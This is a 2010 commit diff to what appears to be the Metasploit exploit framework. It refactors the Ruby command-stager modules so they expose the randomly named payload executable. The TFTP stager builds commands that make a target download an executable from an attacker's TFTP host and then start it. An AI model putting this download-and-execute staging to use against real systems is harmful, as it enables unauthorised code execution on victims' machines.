expose the payload exe filename, remove the concat operator

git-svn-id: file:///home/svn/framework3/trunk@10169 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Joshua Drake 2010-08-27 17:23:47 +00:00
parent a3a20ebb05
commit 8dd489ad3b
3 changed files with 15 additions and 9 deletions

View File

@ -22,6 +22,7 @@ module Exploit::CmdStager
def initialize(info = {}) def initialize(info = {})
super super
@cmd_list = nil @cmd_list = nil
@stager_innstace = nil
end end
@ -64,8 +65,8 @@ module Exploit::CmdStager
@exe = generate_exe @exe = generate_exe
stager_instance = create_stager(@exe) @stager_instance = create_stager(@exe)
cmd_list = stager_instance.generate(opts) cmd_list = @stager_instance.generate(opts)
if (cmd_list.nil? or cmd_list.length < 1) if (cmd_list.nil? or cmd_list.length < 1)
print_error("The command stager could not be generated") print_error("The command stager could not be generated")

View File

@ -59,6 +59,11 @@ module Exploit::CmdStagerTFTP
stop_service stop_service
end end
def payload_exe
return nil if not @stager_instance
@stager_instance.payload_exe
end
end end
end end

View File

@ -30,7 +30,7 @@ class CmdStagerTFTP < CmdStagerBase
def initialize(exe) def initialize(exe)
super super
@var_payload_out = Rex::Text.rand_text_alpha(8) + ".exe" @payload_exe = Rex::Text.rand_text_alpha(8) + ".exe"
end end
@ -40,10 +40,10 @@ class CmdStagerTFTP < CmdStagerBase
# #
def compress_commands(cmds, opts) def compress_commands(cmds, opts)
# Initiate the download # Initiate the download
cmds << "tftp -i #{opts[:tftphost]} GET #{opts[:transid]} #{@tempdir + @var_payload_out}" cmds << "tftp -i #{opts[:tftphost]} GET #{opts[:transid]} #{@tempdir + @payload_exe}"
# Make it all happen # Make it all happen
cmds << "start #{@tempdir + @var_payload_out}" cmds << "start #{@tempdir + @payload_exe}"
# Clean up after unless requested not to.. # Clean up after unless requested not to..
if (not opts[:nodelete]) if (not opts[:nodelete])
@ -53,11 +53,11 @@ class CmdStagerTFTP < CmdStagerBase
super super
end end
# Windows uses & to concat strings # NOTE: We don't use a concatenation operator here since we only have a couple commands.
def cmd_concat_operator # There really isn't any need to combine them. Also, the ms01_026 exploit depends on
" & " # the start command being issued separately so that it can ignore it :)
end
attr_reader :payload_exe
end end
end end
end end